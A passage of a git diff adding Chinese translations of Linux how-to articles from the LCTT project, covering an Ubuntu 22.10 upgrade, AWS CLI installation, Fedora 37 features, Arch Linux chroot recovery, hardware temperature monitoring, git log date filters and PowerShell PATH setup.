+- 记录并禁用所有的 GNOME 扩展。如果开发人员没有按照 GNOME 版本进行更新,那么扩展在升级后将会损坏。 +- 家中常备一个现场 USB 磁盘。 + +#### 升级步骤 + +打开 “软件包和更新Software & Update” 。 + +转到 “更新Updates” 标签页。 + +转到 “通知我新的 Ubuntu 版本Notify me of a new Ubuntu version”,选择并将其更改为 “任意新的版本For any new version”。 + +这将告诉软件包管理器来查找 Ubuntu 22.10 发布版本的详细信息。 + +![Make sure to change the option for new Ubuntu 22.10 release][3] + +打开一个终端,并运行下面的命令: + +``` +sudo apt update +sudo apt upgrade +``` + +或者,你也可以打开软件包更新程序。安装所有的准备就绪的软件包。 + +在两个命令完成后,打开软件包更新。你将会看到一个升级到 Ubuntu 22.10 的提示(如下图所示)。 + +![New version update prompt from the GUI method][4] + +现在,单击 “升级Upgrade” 按钮,并按照屏幕上的说明进行操作。升级过程需要一些时间,因此,要耐心等待,直至升级完成。确保在整个升级过程中有稳定的互联网链接。 + +如果你尚未获得更新,请等待一、两天后再次尝试。 + +如果你没有看到上述提示,手动重新启动一次系统。并再次添加尝试。 + +#### 通过终端 + +在终端中通过 nano 文件编辑器打开下面的文件。 + +``` +nano /etc/update-manager/release-upgrades +``` + +将 `Prompt=LTS` 更改为 `Prompt=normal` 。注意:如果你已经如上所述将更新标签页更改为 “任意新的版本For any new version” ,那么这个文件应该已经更新了。但是,要验证它一次。 + +![Change the release upgrade file][5] + +分别按下组合键 `CTRL+O` 和组合键 `CTRL+X` 来保存和退出。 + +最后,你也可以运行下面的命令来从终端中强制升级过程。 + +``` +sudo do-release-upgrade -c +``` + +![New version update prompt from the terminal method][6] + +升级过程需要花费一些时间(最少半个小时,上不封顶),这主要取决于你的互联网连接和硬件。直至等到其完成。在完成后,重新启动并享受 Ubuntu 22.10 Kinetic Kudu. + +![Upgrade is in progress][7] + +在升级过程进行时,看看我们 [不久前发布的关于 Ubuntu 22.10][8] 的精彩文章。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/upgrade-ubuntu-22-04-22-10/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/ubuntu-22-04-review/ +[2]: https://www.debugpoint.com/ubuntu-22-10/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/10/Make-sure-to-change-the-option-for-new-Ubuntu-22.10-release.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/10/New-version-update-prompt-from-the-GUI-method2.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/10/Change-the-release-upgrade-file.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/10/New-version-update-prompt-from-the-terminal-method.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/10/Upgrade-is-in-progress.jpg +[8]: https://www.debugpoint.com/tag/ubuntu-22-10 diff --git a/published/202211/20221021.3 ⭐️ How to Install AWS CLI on Linux Step-by-Step.md b/published/202211/20221021.3 ⭐️ How to Install AWS CLI on Linux Step-by-Step.md new file mode 100644 index 0000000000..11c4fca5d1 --- /dev/null +++ b/published/202211/20221021.3 ⭐️ How to Install AWS CLI on Linux Step-by-Step.md @@ -0,0 +1,152 @@ +[#]: subject: "How to Install AWS CLI on Linux Step-by-Step" +[#]: via: "https://www.linuxtechi.com/how-to-install-aws-cli-on-linux/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15265-1.html" + +如何在 Linux 上安装 AWS 命令行工具 +====== + +![][0] + +> 本文讲述如何一步步在 Linux 上安装 AWS CLI(命令行工具)。 + +AWS CLI 是一个能够和 AWS 账户进行交互的命令行程序。开发者和系统管理员用它管理日常的活动和自动化。 + +### 准备环节 + +- 安装好的 Linux 系统 +- 具有管理员权限的 sudo 账户 +- 能够联网 + +现在让我们开始安装: + +### 1、下载安装文件 + +打开终端使用 `curl` 命令下载 AWS CLI 的安装文件: + +``` +$ curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" +``` + +![][4] + +以上命令会在当前工作目录下载一个 `awscliv2.zip` 的文件。 + +使用 [ls 命令][1] 确认当前下载下来的文件: + +``` +$ ls -l awscliv2.zip +-rw-rw-r-- 1 linuxtechi linuxtechi 47244662 Oct 20 10:53 awscliv2.zip +$ +``` + +### 2、解压缩下载的文件 + +使用 [unzip 命令][2] 解压安装包: + +``` +$ unzip awscliv2.zip +``` + +它会在当前目录创建一个 `aws` 文件夹,把解压好的文件放进去: + +``` +$ ls -ld aws +drwxr-xr-x 3 linuxtechi linuxtechi 4096 Oct 19 17:18 aws +$ +``` + +### 3、运行安装脚本 + +使用以下命令运行安装脚本: + +``` +$ sudo ./aws/install +``` + +![][5] + +脚本会把所有安装的文件放到 `/usr/local/aws-cli` 目录下,然后创建一个链接文件到 `/usr/local/bin` 目录。 + +### 4、检查 AWS CLI 的版本 + +运行以下脚本检查版本: + +``` +$ aws --version +aws-cli/2.8.4 Python/3.9.11 Linux/5.15.0-48-generic exe/x86_64.ubuntu.22 prompt/off +$ +``` + +### 5、配置 AWS CLI + +为了验证 AWS CLI 是否安装正确,开始配置 AWS CLI: + +登录你的 AWS 管理控制台,取得 AWS 访问密钥 IDAccess Key ID安全访问密钥Secret Access Key。 + +如果还没完成创建,请先创建,并把它们复制到安全的地方。 + +![][6] + +然后回到命令行,运行以下命令: + +``` +$ aws configure +AWS Access Key ID [None]: xxxxxxxxxxxxxxxxxxx +AWS Secret Access Key [None]: xxxxxxxxxxxxxxxxxxx +Default region name [None]: us-west-2 +Default output format [None]: json +$ +``` + +以上的证书会被保存到这个文件: + +``` +$ cat  ~/.aws/credentials +``` + +上面的命令的输出: + +![][7] + +运行 `aws` 命令列出你账户中的 s3 储存和 VPC: + +``` +$ aws s3 ls +$ aws ec2 describe-vpcs +``` + +输出如下: + +![][8] + +成功输出内容,说明你的 AWS CLI 已经配置完成。 + +这就是这篇文章的全部内容,请在下面的评论区发表你的疑问和反馈。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/how-to-install-aws-cli-on-linux/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://www.linuxtechi.com/linux-ls-command-examples-beginners/ +[2]: https://www.linuxtechi.com/linux-zip-unzip-command-examples/ +[3]: https://www.linuxtechi.com/how-to-setup-eks-cluster-nlb-on-aws/ +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/10/Download-AWS-CLI-Curl-Command.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/10/AWS-CLI-Install-Script-Linux.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/10/AWS-Account-Access-Secret-Key.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/10/AWS-Configure-Command-Output-Linux.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2022/10/AWS-Command-List-S3-VPC.png +[0]: https://img.linux.net.cn/data/attachment/album/202211/18/112836c2d0bekaxu75ffbx.jpg \ No newline at end of file diff --git a/published/202211/20221022 What-s new in Fedora Workstation 37.md b/published/202211/20221022 What-s new in Fedora Workstation 37.md new file mode 100644 index 0000000000..66f5c68f19 --- /dev/null +++ b/published/202211/20221022 What-s new in Fedora Workstation 37.md @@ -0,0 +1,87 @@ +[#]: subject: "What’s new in Fedora Workstation 37" +[#]: via: "https://fedoramagazine.org/whats-new-fedora-37-workstation/" +[#]: author: "Merlin Cooper https://fedoramagazine.org/author/mxanthropocene/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15272-1.html" + +Fedora Workstation 37 中的新功能 +====== + +![][1] + +Fedora Workstation 37 是 Fedora Project 桌面操作系统的最新版本,由致力于推动开源创新的全球社区开发。本文介绍了 Fedora Workstation 37 中一些面向用户的新功能。现在就从 GNOME “软件Software”应用升级,或者在你最喜欢的终端模拟器中使用 [dnf system-upgrade][2] 升级! + +### GNOME 43 + +Fedora Workstation 37 具有最新版本的 GNOME 桌面环境,其中包含更多移植到 GTK 4 的核心应用、用户界面调整和性能调整。查看 [GNOME 43 发行说明][3] 了解更多信息! + +#### 重新设计的快速设置菜单 + +![无需打开设置即可切换深色模式][4] + +新的“快速设置Quick Settings”菜单提供更多控制和便利。你现在可以在菜单中轻松切换你的 Wi-Fi 网络,而不用进入全屏对话框;在默认模式和深色模式之间切换;以及在不打开“设置Settings”应用的情况下启用夜灯。现在还提供了一个方便的截屏和录屏按钮。 + +#### 核心应用 + +Fedora Workstation 37 中包含的 GNOME 核心应用已经进行了一轮调整和改进: + + * “文件Files”应用已移植到 GTK 4,并且用户界面有许多改进。这里只是其中的一些: + * 它现在是自适应的,这意味着它会自动调整到更窄的尺寸,从而更好地利用可用空间。 + * 列表视图已重新设计,使橡皮筋选择更容易。 + * 重新设计了 “属性Properties” 和 “打开方式……Open With…” 对话框。 + + ![Files 43 中的橡皮筋选择][5] + + * “日历Calendar”应用有一个新的边栏,可以一目了然地显示即将发生的事件。它与“联系人Contacts”应用一起,现在具有自适应用户界面。 + * “角色Characters”应用现在会向你显示不同的肤色、头发颜色和表情符号的性别选项。 + * “软件Software” 中的包源选择器已重新设计并移至更显眼的位置。 + * “地图Maps”应用已移植到 GTK 4。 + * “设置Settings”应用包括一个新的“设备安全Device Security”面板,让你可以轻松查看你的设备提供或缺少的硬件安全功能! + ![呃哦!][6] + +### 新补充的默认壁纸 + +Fedora Workstation 37 附带一组新的补充壁纸。 [在这里看看它们是如何制作的!][7] + +![六张新壁纸有浅色和深色两种][8] + +### Fedora Linux 37 的底层变化 + +Fedora Linux 37 具有许多底层更改。以下是一些值得注意的: + + * 现已正式支持树莓派 4 单板机,包括 3D 加速! + * 在 BIOS 系统上的新安装将使用 GPT 磁盘布局,而不是传统的 MBR 布局。在 BIOS 系统上,安装程序镜像现在还将使用 GRUB 而不是 syslinux 进行引导。 + * 如果你禁用然后重新启用 SELinux,或运行 `fixfiles onboot` 命令,文件系统的重新标记过程现在将并行完成,从而显着提高速度。 + * 波斯语的默认字体已从 DejaVu 和 Noto Sans Arabic 更改为 Vazirmatn,为在波斯语中使用 Fedora Linux 的用户提供更一致的体验。 + +### 还有这些... + +Fedora 项目中发生的很酷的事情! + + * Fedora CoreOS 和 Fedora Cloud Base 已升级为 “版本Edition” 级别! + * Fedora Linux 系统安装程序,带有新 GUI 的 Anaconda 预览安装程序镜像将在大约一周内可用。我将发布一篇文章以提供更多详细信息,敬请关注! + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/whats-new-fedora-37-workstation/ + +作者:[Merlin Cooper][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/mxanthropocene/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2022/10/f37-whats_new-816x345.jpg +[2]: https://docs.fedoraproject.org/en-US/quick-docs/dnf-system-upgrade/ +[3]: https://release.gnome.org/43/ +[4]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2022/09/ezgif.com-gif-maker1.gif +[5]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2022/09/ezgif.com-gif-maker2.gif +[6]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2022/09/Screenshot-from-2022-09-16-20-25-28-1024x708.png +[7]: https://blog.linuxgrrl.com/2022/06/27/abstract-wallpapers-in-blender-using-geometry-nodes/ +[8]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2022/09/dfg-1-1024x679.png diff --git a/published/202211/20221022.3 ⭐️⭐️ Use open source commands in Powershell.md b/published/202211/20221022.3 ⭐️⭐️ Use open source commands in Powershell.md new file mode 100644 index 0000000000..74e9bd07e9 --- /dev/null +++ b/published/202211/20221022.3 ⭐️⭐️ Use open source commands in Powershell.md @@ -0,0 +1,88 @@ +[#]: subject: "Use open source commands in Powershell" +[#]: via: "https://opensource.com/article/22/10/set-path-powershell" +[#]: author: "Alan Smithee https://opensource.com/users/alansmithee" +[#]: collector: "lkxed" +[#]: translator: "qfzy1233" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15200-1.html" + +设置路径在 Powershell 中使用开源命令 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/01/160141i03e33e8pp5xp3vs.jpg) + +> 在 Windows 上设置你的路径,这样你就可以使用开源的命令。 + +当你在操作系统上启动应用程序时,操作系统需要使用某些代码库和实用程序来运行该应用程序。你的操作系统知道如何找到这些库和实用程序,因为它有一个 _系统路径_,这是一个通往许多应用程序需要的共同共享数据的地图。所有操作系统都有这一点,但用户通常不会意识到这一点,因为他们通常不需要在意它。然而,当你需要编程或使用特殊的网络实用程序或命令时,你可能需要关心你自己的 `PATH` 变量配置。 + +`PATH` 变量使你可以将命令保存到一致的位置,并使用命令提示符或更强大(而开源的)[Powershell][1] 从系统上的任何位置调用它们。 + +例如,假设你想安装开源应用程序 `pscp.exe`,它是 Windows 上著名的 PuTTY OpenSSH 客户端的命令行界面。你可以将它下载到你的硬盘,但是你的命令行如何知道它的存在呢?其实一开始,它并不知道: + +``` +PS> pscp + pscp: 命令 “pscp” 不能被识别为 cmdlet、脚本文件或可操作程序的名称。 + 检查名称的拼写,或者如果包含了路径,则检查路径是否正确,然后再试一次。 +``` + +如果你正在使用一个开源命令行,例如 Powershell 或 [Cmder][2],那么你将得到一个有用的错误提示,提示这可能是你的路径有问题(或缺少路径)。下面是解决这个问题的方法。 + +### 设置 PATH + +首先,在桌面上创建一个名为 `App` 的文件夹。 + +接下来,右键单击屏幕左下角的 Windows 菜单,然后选择 “系统System”。 + +![Image of the Windows menu system.][3] + +在弹出的 “系统System” 窗口中,单击窗口左侧的 “高级系统设置Advanced system settings” 链接。 + +在出现的 “系统属性System properties” 窗口中,单击窗口底部的 “环境变量Environment variables” 按钮。 + +![Image Windows system enviroment variables.][4] + +在 “环境变量Environment variables” 窗口中,单击 “用户变量User variables” 面板下的 “新建New” 按钮。 + +![Image of new Windows enviroment variables.][5] + +在弹出的对话框中,为 “变量名Variable name” 字段输入 `PATH`,为 “变量值Variable value” 字段输入 `%USERPROFILE\Desktop\App` 。单击 “确定OK” 按钮保存更改。 + +![Image of Windows path set.][6] + +在 `Desktop/Apps` 中放置你想从命令提示符中访问的命令和应用程序,Powershell、Cmder 甚至 Cmd 都能找到它们。 + + +``` +PS> pscp –version + pscp: Release 0.XY + Build platform: 64-bit x86 Windows + PS> +``` + +### 自动设置路径 + +许多应用程序会在安装过程中自动添加到系统路径中。然而,并不是所有的程序都如此,要么是因为你在安装过程中遗漏了一个复选框,要么是因为应用程序开发人员希望你自己添加它。当自动路径失败时,你现在知道如何自己设置路径。 + +*(图像来自:Alan Smithee, CC BY-SA 4.0)* + + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/set-path-powershell + +作者:[Alan Smithee][a] +选题:[lkxed][b] +译者:[qfzy1222](https://github.com/qfzy1233) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alansmithee +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/18/2/powershell-people +[2]: http://cmder.app/ +[3]: https://opensource.com/sites/default/files/2022-10/windows-menu-system.png +[4]: https://opensource.com/sites/default/files/2022-10/windows-system-environment-variables.png +[5]: https://opensource.com/sites/default/files/2022-10/windows-environment-variables-new.png +[6]: https://opensource.com/sites/default/files/2022-10/windows-path-set.png diff --git a/published/202211/20221023.0 ⭐️ How to Recover Arch Linux Install via chroot.md b/published/202211/20221023.0 ⭐️ How to Recover Arch Linux Install via chroot.md new file mode 100644 index 0000000000..549069132d --- /dev/null +++ b/published/202211/20221023.0 ⭐️ How to Recover Arch Linux Install via chroot.md @@ -0,0 +1,112 @@ +[#]: subject: "How to Recover Arch Linux Install via chroot" +[#]: via: "https://www.debugpoint.com/recover-arch-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15202-1.html" + +如何通过 chroot 恢复 Arch Linux 安装 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/01/213036fel3lq00iz0377v3.jpg) + +> 这篇速成指南诠释了一些步骤,它对于恢复一个 Arch Linux 安装很有帮助。 + +作为一个滚动发布版本,Arch Linux 有时会崩溃。那不是你自身的问题,而是因为数百个其它的原因,例如一个新内核与你的硬件或软件的兼容性。但是,即使如此,Arch Linux 仍然是比较优秀的,并且提供最新的软件包和应用程序。 + +但是,有些时候,它会给你带来麻烦,最后你只会看到一个闪烁的光标。 + +因此,在这种情况下,在你放弃希望前,你可能希望尝试恢复系统的安装以及数据,而不是重新格式化或重新安装。这篇指南在这些方面概述了一些步骤。 + +### 恢复 Arch Linux 安装 + +第一步是创建一个可启动的 Arch Linux 的现场Live USB 。从下面的链接中下载 ISO 镜像文件,并创建一个可启动的 ISO 的启动盘。你可以查看 [这篇](https://linux.cn/article-15020-1.html) 关于如何使用 Etcher 创建可启动的 ISO 的启动盘的指南。记住,这一步骤需要在另一个工作稳定的系统上完成,很明显,这是因为你当前系统是不可用的。 + +> **[下载 arch linux][1]** + +你需要知道在 **你的 Arch Linux 安装在哪个分区上**。这是关键的一步。如果你不知道,你可以使用 GParted 来找出来。或者在你的 Grub 菜单中查看,或者也可以运行下面的命令来找出来。这将列出你所有的磁盘分区、大小和标签。 + +``` +sudo lsblk -o name,mountpoint,label,size,uuid +``` + +在完成后,插入 USB 设备,并从中启动。你应该会在现场 USB 启动后看到 Arch Linux 提示符。 + +现在,使用下面的命令挂载 Arch Linux 分区。将 `/dev/sda3` 更改为你实际对应的分区。 + +``` +mount /dev/sda3 /mnt +arch-chroot /mnt +``` + +`arch-chroot` 命令将在终端中挂载你的 Arch Linux 分区,然后,使用你的 Arch 用户名和密码来登录系统。现在,取决于你在这个阶段的需要,你可能有下面的一些选项。 + +- 你可以前往 `/home` 文件夹来备份你的数据。为防止排错手段不能解决问题。你可以复制这些文件到一块外部的 USB 磁盘或其它的分区。 +- 检查日志文件,尤其是 pacman 日志,因为升级一些软件包可能会导致系统不稳定工作,例如,图形驱动程序或其它一些驱动程序。依据日志的记载,如果你有需要的话,你可以降级一些具体指定的软件包。 + +你可以使用下面的命令来查看 pacman 日志文件的最新的 200 行日志,来找出一些引起失败的项或依赖项的缺失。 + +``` +tail -n 200 /var/log/pacman.log | less +``` + +上面的命令给出 `pacman.log` 文件的末尾处的 200 行来用于查对。现在,仔细检查自你上次成功启动以来更新了哪些软件包。 + +在某个地方记录下软件包的名称和版本。你可以尝试逐个降级软件包,或者,如果你认为是某个特定的软件包造成的问题的话,你可以使用 `pacman` 命令的 `-U` 开关选项来降级它。 + +``` +pacman -U +``` + +在降级后(如果有一些软件包进行降级的话),你可以运行下面的命令来启动你的 Arch 系统。 + +``` +exec /sbin/init +``` + +检查你的显示管理器的状态,并检查其是否有一些错误。有时,显示管理器会产生不能与 X 服务器X Server 通信的问题。例如,如果你正在使用 Lightdm ,那么你可以通过下面的命令来检查它的状态。 + +``` +systemctl status lightdm +``` + +或者,你可能希望通过下面的命令来启动它并检查错误。 + +``` +lightdm --test-mode --debug +``` + +这里是一个 Lightdm 故障的示例,它导致了 Arch 系统不稳定工作。 + +![lightdm - test mode][2] + +或者,使用 `startx` 来启动 X 服务器进行检查。 + +根据我的经验,如果你在上面的命令中看到这些错误,尝试安装另外一个显示管理器(例如 sddm)并启动它可以消除错误。 + +- 根据你的系统的实际状态来尝试上面的步骤并解决问题。针对特定的显示管理器 Lightdm 的错误,我们有一份 [指南][3],你可能会想查看它。 +- 如果你正在使用 sddm ,那么,试试 [这些排错步骤][4] 看看是否工作。 + +### 结语 + +每个系统环境都是不同的。上面的步骤不一定适合你。但是,它值得一试,根据我的经验,它是可行的。如果它可行,那么恭喜你。否则,在下面的评论区让我知晓你是如何进行的。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/recover-arch-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://archlinux.org/download/ +[2]: https://www.debugpoint.com/wp-content/uploads/2021/03/lightdm-test-mode.jpg +[3]: https://www.debugpoint.com/2021/03/failed-to-start-lightdm/ +[4]: https://wiki.archlinux.org/title/SDDM#Troubleshooting diff --git a/published/202211/20221024.1 ⭐️ How to Check CPU and HDD Temperature in Ubuntu and Other Linux.md b/published/202211/20221024.1 ⭐️ How to Check CPU and HDD Temperature in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..587e5d20f0 --- /dev/null +++ b/published/202211/20221024.1 ⭐️ How to Check CPU and HDD Temperature in Ubuntu and Other Linux.md @@ -0,0 +1,121 @@ +[#]: subject: "How to Check CPU and HDD Temperature in Ubuntu and Other Linux" +[#]: via: "https://www.debugpoint.com/cpu-hdd-temperature-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15223-1.html" + +如何在 Ubuntu 和其他 Linux 中检查 CPU 和硬盘温度 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/07/151624auhj011bqnzk9qfu.jpg) + +> 想知道如何在台式机或笔记本电脑上检查 Ubuntu 和其他 Linux 中的 CPU 和硬盘温度?这是一个快速指南。 + +如果你是普通用户,那么实际上不需要检查 CPU 或 HDD 温度。但是,如果你使用的是非常旧的硬件或轻薄型的硬件,你可能会遇到过热问题。因为这些薄的硬件内部紧密耦合在一起,无论做了多少传热机制,它都会升温。因此,必须监控硬件的温度。然而,现代 Linux 发行版能够通过软件传感器很好地处理过热情况。 + +### 在 Ubuntu 上监控 CPU 和硬盘温度的步骤 + +#### 使用终端 + +我们将使用几个包来实现相同的目的。在基于 Ubuntu 的系统中打开一个终端并安装以下内容。 + +``` +sudo apt install hddtemp +sudo apt install lm-sensors +``` + +[hddtemp][1] 程序为你提供硬盘和 SSD (根据我的测试)的温度。 [lm-sensors][2] 包为你提供来自 CPU 和其他通过 PCI 端口访问的传感器的温度详细信息。 + +安装后,从终端运行以下命令。你需要知道你的磁盘标识符,例如 `/dev/sda` 或 `/dev/sdb` 等。 + +要找出磁盘标识符,你可以使用 `fdisk`。 + +``` +sudo fdisk -l +``` + +然后运行以下命令检查 HDD 或 SSD 温度。 + +``` +sudo hddtemp +``` + +![HDD or SSD Temperature from terminal][3] + +*来自终端的 HDD 或 SSD 温度* + +检查 CPU 温度和其他信息需要额外的步骤。 + +首先,运行以下命令,以便传感器程序可以检测到系统中的传感器。 + +``` +sudo sensors-detect +``` + +上面的命令可能会问你一些是/否的问题。继续按回车选择默认选项。 + +完成后,运行以下命令查看 CPU 和其他接口温度。 + +``` +sensors +``` + +![using sensors][4] + +*使用传感器* + +#### 使用 GUI 工具 + +如果你更喜欢能完成上述所有操作的漂亮 GUI,你可以安装 [psensor][5]。该程序适用于 Linux 系统,例如 Ubuntu、Fedora、[Arch][6] 和其他变体。它为你提供了漂亮的图形和表格视图: + +Ubuntu 及其衍生版: + +``` +sudo apt install psensor +``` + +Fedora 和基于 RPM 的衍生版: + +``` +sudo dnf install psensor +``` + +Arch、Manjaro 和类似的衍生版: + +``` +pacman -S psensor +``` + +安装后,从终端运行 `psensor` 或从应用菜单启动它。 + +正如你在下面的截图中所见,它通过漂亮的图表让你可以很好地了解 CPU、GPU 和 HDD 的所有重要温度。使用它的首选项,你可以根据需要对其进行调整。这个轻量级的程序在很多情况下都会很有帮助。 + +![psensor running][7] + +*psensor 运行* + +因此,这些是你可以在 Ubuntu 和其他 Linux 系统中监控 CPU、GPU 或 HDD 温度的一些方法。如果你知道其他方法,请通过下面的评论栏告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/cpu-hdd-temperature-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://wiki.archlinux.org/title/Hddtemp +[2]: https://github.com/lm-sensors/lm-sensors +[3]: https://www.debugpoint.com/wp-content/uploads/2021/09/HDD-or-SSD-Temperature-from-terminal.png +[4]: https://www.debugpoint.com/wp-content/uploads/2021/09/psensor.png +[5]: https://wpitchoune.net/psensor/ +[6]: https://www.debugpoint.com/tag/arch-linux +[7]: https://www.debugpoint.com/wp-content/uploads/2021/09/psensor-running-1024x465.png diff --git a/published/202211/20221024.3 ⭐️ How to display commits created on a specific day with the git log command.md b/published/202211/20221024.3 ⭐️ How to display commits created on a specific day with the git log command.md new file mode 100644 index 0000000000..1fac3cd7ad --- /dev/null +++ b/published/202211/20221024.3 ⭐️ How to display commits created on a specific day with the git log command.md @@ -0,0 +1,68 @@ +[#]: subject: "How to display commits created on a specific day with the git log command" +[#]: via: "https://opensource.com/article/22/10/git-log-command" +[#]: author: "Agil Antony https://opensource.com/users/agantony" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15220-1.html" + +用 git log 命令显示在特定日期的提交记录 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/06/085449j5diiljl7dzgdr0z.jpg) + +> `git log` 命令是 Git 中一个很重要的查看提交记录的工具,它也是人们喜欢使用 Git 的原因之一。 + +`git log` 命令能够让你了解到更多关于贡献者 提交commit 的记录。使用 `git log` 的一种方式是按日期查看提交记录 。要查看**在指定日期或日期范围内**创建的 Git 存储库中的提交记录,请使用带有选项 `--since` 或 `--until` 或者同时使用以上两个选项的 `git log` 命令。 + +首先,进入你要查看的分支(例如,`main` 分支): + +``` +$ git checkout main +``` + +接下来,你可以使用以下命令,来显示当前日期(即今天)的提交记录: + +``` +$ git log --oneline --since="yesterday" +``` + +仅显示某一特定用户(例如,用户 `Agil`)在今天的提交记录: + +``` +$ git log --oneline --since="yesterday" --author="Agil" +``` + +还可以显示在某一日期范围内的提交记录。使用以下命令,显示在任意两个日期之间(例如,2022 年 4 月 22 日至 2022 年 4 月 24 日)的提交记录: + +``` +$ git log --oneline --since="2022-04-22" --until="2022-04-24" +``` + +在上面这个例子中,会输出 2022 年 4 月 22 日至 2022 年 4 月 24 日期间,不包括 2022 年 4 月 22 日的所有提交记录。如果你想要包括 2022 年 4 月 22 日的提交记录,请将命令中的 `2022-04-22` 替换为 `2022-04-21`。 + +运行以下命令,能够显示某一特定用户(例如,用户 `Agil`)在两个指定的日期之间的提交记录: + +``` +$ git log --oneline --since="2022-04-22" --until="2022-04-24" --author="Agil" +``` + +### 总结 + +Git 有很多优点,其中一个优点就是 Git 让你能够收集你项目的相关数据。`git log` 命令是一个重要的查看提交记录的工具,也是人们喜欢使用 Git 的原因之一! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/git-log-command + +作者:[Agil Antony][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/agantony +[b]: https://github.com/lkxed + diff --git a/published/202211/20221025.0 ⭐️⭐️ Transfer files and folders from Windows to Linux with PSCP.md b/published/202211/20221025.0 ⭐️⭐️ Transfer files and folders from Windows to Linux with PSCP.md new file mode 100644 index 0000000000..aa68907328 --- /dev/null +++ b/published/202211/20221025.0 ⭐️⭐️ Transfer files and folders from Windows to Linux with PSCP.md @@ -0,0 +1,144 @@ +[#]: subject: "Transfer files and folders from Windows to Linux with PSCP" +[#]: via: "https://opensource.com/article/22/10/transfer-files-windows-linux-pscp" +[#]: author: "Paul https://opensource.com/users/plaubscher" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15234-1.html" + +使用 PSCP 将文件和文件夹从 Windows 传输到 Linux +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/10/074452ys2lgjdqq8gaj8rg.jpg) + +> 开源的 PSCP 程序可以轻松地在 Windows 和 Linux 计算机之间传输文件和文件夹。 + +你是否正在寻找一种将文件从 Windows 计算机快速传输到 Linux 计算机并再次传输回来的方法?开源的 PSCP 